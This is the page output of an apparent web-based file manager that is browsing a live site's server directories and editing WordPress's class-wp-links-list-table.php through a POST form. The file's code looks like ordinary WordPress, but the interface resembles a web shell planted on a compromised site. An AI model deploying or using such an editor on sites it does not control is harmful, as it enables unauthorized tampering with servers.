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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2Fincludes%2F'>includes</a>/</p><hr><h3>✏️ Editing: class-wp-links-list-table.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * List Table API: WP_Links_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying links in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Links_List_Table extends WP_List_Table {

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				&#039;plural&#039; =&gt; &#039;bookmarks&#039;,
				&#039;screen&#039; =&gt; $args[&#039;screen&#039;] ?? null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( &#039;manage_links&#039; );
	}

	/**
	 * @global int    $cat_id  Link category ID.
	 * @global string $s       Search string.
	 * @global string $orderby The field to order the links by.
	 * @global string $order   The direction to order the links.
	 */
	public function prepare_items() {
		global $cat_id, $s, $orderby, $order;

		$cat_id  = ! empty( $_REQUEST[&#039;cat_id&#039;] ) ? absint( $_REQUEST[&#039;cat_id&#039;] ) : 0;
		$orderby = ! empty( $_REQUEST[&#039;orderby&#039;] ) ? sanitize_text_field( $_REQUEST[&#039;orderby&#039;] ) : &#039;&#039;;
		$order   = ! empty( $_REQUEST[&#039;order&#039;] ) ? sanitize_text_field( $_REQUEST[&#039;order&#039;] ) : &#039;&#039;;
		$s       = ! empty( $_REQUEST[&#039;s&#039;] ) ? sanitize_text_field( $_REQUEST[&#039;s&#039;] ) : &#039;&#039;;

		$args = array(
			&#039;hide_invisible&#039; =&gt; 0,
			&#039;hide_empty&#039;     =&gt; 0,
		);

		if ( &#039;all&#039; !== $cat_id ) {
			$args[&#039;category&#039;] = $cat_id;
		}
		if ( ! empty( $s ) ) {
			$args[&#039;search&#039;] = $s;
		}
		if ( ! empty( $orderby ) ) {
			$args[&#039;orderby&#039;] = $orderby;
		}
		if ( ! empty( $order ) ) {
			$args[&#039;order&#039;] = $order;
		}

		$this-&gt;items = get_bookmarks( $args );
	}

	/**
	 * Displays the message for no items.
	 */
	public function no_items() {
		_e( &#039;No links found.&#039; );
	}

	/**
	 * Gets the list of bulk actions.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions           = array();
		$actions[&#039;delete&#039;] = __( &#039;Delete&#039; );

		return $actions;
	}

	/**
	 * @global int $cat_id Link category ID.
	 * @param string $which The location: &#039;top&#039; or &#039;bottom&#039;.
	 */
	protected function extra_tablenav( $which ) {
		global $cat_id;

		if ( &#039;top&#039; !== $which ) {
			return;
		}
		?&gt;
		&lt;div class=&quot;alignleft actions&quot;&gt;
			&lt;?php
			$dropdown_options = array(
				&#039;selected&#039;        =&gt; $cat_id,
				&#039;name&#039;            =&gt; &#039;cat_id&#039;,
				&#039;taxonomy&#039;        =&gt; &#039;link_category&#039;,
				&#039;show_option_all&#039; =&gt; get_taxonomy( &#039;link_category&#039; )-&gt;labels-&gt;all_items,
				&#039;hide_empty&#039;      =&gt; true,
				&#039;hierarchical&#039;    =&gt; 1,
				&#039;show_count&#039;      =&gt; 0,
				&#039;orderby&#039;         =&gt; &#039;name&#039;,
			);

			echo &#039;&lt;label class=&quot;screen-reader-text&quot; for=&quot;cat_id&quot;&gt;&#039; . get_taxonomy( &#039;link_category&#039; )-&gt;labels-&gt;filter_by_item . &#039;&lt;/label&gt;&#039;;

			wp_dropdown_categories( $dropdown_options );

			submit_button( __( &#039;Filter&#039; ), &#039;compact&#039;, &#039;filter_action&#039;, false, array( &#039;id&#039; =&gt; &#039;post-query-submit&#039; ) );
			?&gt;
		&lt;/div&gt;
		&lt;?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array(
			&#039;cb&#039;         =&gt; &#039;&lt;input type=&quot;checkbox&quot; /&gt;&#039;,
			&#039;name&#039;       =&gt; _x( &#039;Name&#039;, &#039;link name&#039; ),
			&#039;url&#039;        =&gt; __( &#039;URL&#039; ),
			&#039;categories&#039; =&gt; __( &#039;Categories&#039; ),
			&#039;rel&#039;        =&gt; __( &#039;Relationship&#039; ),
			&#039;visible&#039;    =&gt; __( &#039;Visible&#039; ),
			&#039;rating&#039;     =&gt; __( &#039;Rating&#039; ),
		);
	}

	/**
	 * Gets the list of sortable columns.
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			&#039;name&#039;    =&gt; array( &#039;name&#039;, false, _x( &#039;Name&#039;, &#039;link name&#039; ), __( &#039;Table ordered by Name.&#039; ), &#039;asc&#039; ),
			&#039;url&#039;     =&gt; array( &#039;url&#039;, false, __( &#039;URL&#039; ), __( &#039;Table ordered by URL.&#039; ) ),
			&#039;visible&#039; =&gt; array( &#039;visible&#039;, false, __( &#039;Visible&#039; ), __( &#039;Table ordered by Visibility.&#039; ) ),
			&#039;rating&#039;  =&gt; array( &#039;rating&#039;, false, __( &#039;Rating&#039; ), __( &#039;Table ordered by Rating.&#039; ) ),
		);
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, &#039;name&#039;.
	 */
	protected function get_default_primary_column_name() {
		return &#039;name&#039;;
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item The current link object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		?&gt;
		&lt;input type=&quot;checkbox&quot; name=&quot;linkcheck[]&quot; id=&quot;cb-select-&lt;?php echo $link-&gt;link_id; ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $link-&gt;link_id ); ?&gt;&quot; /&gt;
		&lt;label for=&quot;cb-select-&lt;?php echo $link-&gt;link_id; ?&gt;&quot;&gt;
			&lt;span class=&quot;screen-reader-text&quot;&gt;
			&lt;?php
			/* translators: Hidden accessibility text. %s: Link name. */
			printf( __( &#039;Select %s&#039; ), $link-&gt;link_name );
			?&gt;
			&lt;/span&gt;
		&lt;/label&gt;
		&lt;?php
	}

	/**
	 * Handles the link name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_name( $link ) {
		$edit_link = get_edit_bookmark_link( $link );
		printf(
			&#039;&lt;strong&gt;&lt;a class=&quot;row-title&quot; href=&quot;%s&quot; aria-label=&quot;%s&quot;&gt;%s&lt;/a&gt;&lt;/strong&gt;&#039;,
			$edit_link,
			/* translators: %s: Link name. */
			esc_attr( sprintf( __( &#039;Edit &amp;#8220;%s&amp;#8221;&#039; ), $link-&gt;link_name ) ),
			$link-&gt;link_name
		);
	}

	/**
	 * Handles the link URL column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_url( $link ) {
		$short_url = url_shorten( $link-&gt;link_url );
		echo &quot;&lt;a href=&#039;$link-&gt;link_url&#039;&gt;$short_url&lt;/a&gt;&quot;;
	}

	/**
	 * Handles the link categories column output.
	 *
	 * @since 4.3.0
	 *
	 * @global int $cat_id Link category ID.
	 *
	 * @param object $link The current link object.
	 */
	public function column_categories( $link ) {
		global $cat_id;

		$cat_names = array();
		foreach ( $link-&gt;link_category as $category ) {
			$cat = get_term( $category, &#039;link_category&#039;, OBJECT, &#039;display&#039; );
			if ( is_wp_error( $cat ) ) {
				echo $cat-&gt;get_error_message();
			}
			$cat_name = $cat-&gt;name;
			if ( (int) $cat_id !== $category ) {
				$cat_name = &quot;&lt;a href=&#039;link-manager.php?cat_id=$category&#039;&gt;$cat_name&lt;/a&gt;&quot;;
			}
			$cat_names[] = $cat_name;
		}
		echo implode( &#039;, &#039;, $cat_names );
	}

	/**
	 * Handles the link relation column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rel( $link ) {
		echo empty( $link-&gt;link_rel ) ? &#039;&lt;br /&gt;&#039; : $link-&gt;link_rel;
	}

	/**
	 * Handles the link visibility column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_visible( $link ) {
		if ( &#039;Y&#039; === $link-&gt;link_visible ) {
			_e( &#039;Yes&#039; );
		} else {
			_e( &#039;No&#039; );
		}
	}

	/**
	 * Handles the link rating column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rating( $link ) {
		echo $link-&gt;link_rating;
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link object.
	 * @param string $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		/**
		 * Fires for each registered custom link column.
		 *
		 * @since 2.1.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $link_id     Link ID.
		 */
		do_action( &#039;manage_link_custom_column&#039;, $column_name, $link-&gt;link_id );
	}

	/**
	 * Generates the list table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		foreach ( $this-&gt;items as $link ) {
			$link                = sanitize_bookmark( $link );
			$link-&gt;link_name     = esc_attr( $link-&gt;link_name );
			$link-&gt;link_category = wp_get_link_cats( $link-&gt;link_id );
			?&gt;
		&lt;tr id=&quot;link-&lt;?php echo $link-&gt;link_id; ?&gt;&quot;&gt;
			&lt;?php $this-&gt;single_row_columns( $link ); ?&gt;
		&lt;/tr&gt;
			&lt;?php
		}
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for links, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return &#039;&#039;;
		}

		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		$edit_link = get_edit_bookmark_link( $link );

		$actions           = array();
		$actions[&#039;edit&#039;]   = &#039;&lt;a href=&quot;&#039; . $edit_link . &#039;&quot;&gt;&#039; . __( &#039;Edit&#039; ) . &#039;&lt;/a&gt;&#039;;
		$actions[&#039;delete&#039;] = sprintf(
			&#039;&lt;a class=&quot;submitdelete&quot; href=&quot;%s&quot; onclick=&quot;return confirm( \&#039;%s\&#039; );&quot;&gt;%s&lt;/a&gt;&#039;,
			wp_nonce_url( &quot;link.php?action=delete&amp;amp;link_id=$link-&gt;link_id&quot;, &#039;delete-bookmark_&#039; . $link-&gt;link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( &quot;You are about to delete this link &#039;%s&#039;\n  &#039;Cancel&#039; to stop, &#039;OK&#039; to delete.&quot; ), $link-&gt;link_name ) ),
			__( &#039;Delete&#039; )
		);

		return $this-&gt;row_actions( $actions );
	}

	/**
	 * Returns a clean label for the primary (Name) column&#039;s row header `aria-label`.
	 *
	 * Provides screen readers with just the link name as the row header name,
	 * preventing them from computing the name from the full cell content.
	 *
	 * @since 7.1.0
	 *
	 * @param object $link The current link object.
	 * @return string The link name.
	 */
	protected function get_primary_column_aria_label( $link ) {
		$link_name = html_entity_decode( $link-&gt;link_name, ENT_QUOTES, get_bloginfo( &#039;charset&#039; ) );
		$link_name = wp_strip_all_tags( $link_name );

		return $link_name;
	}
}
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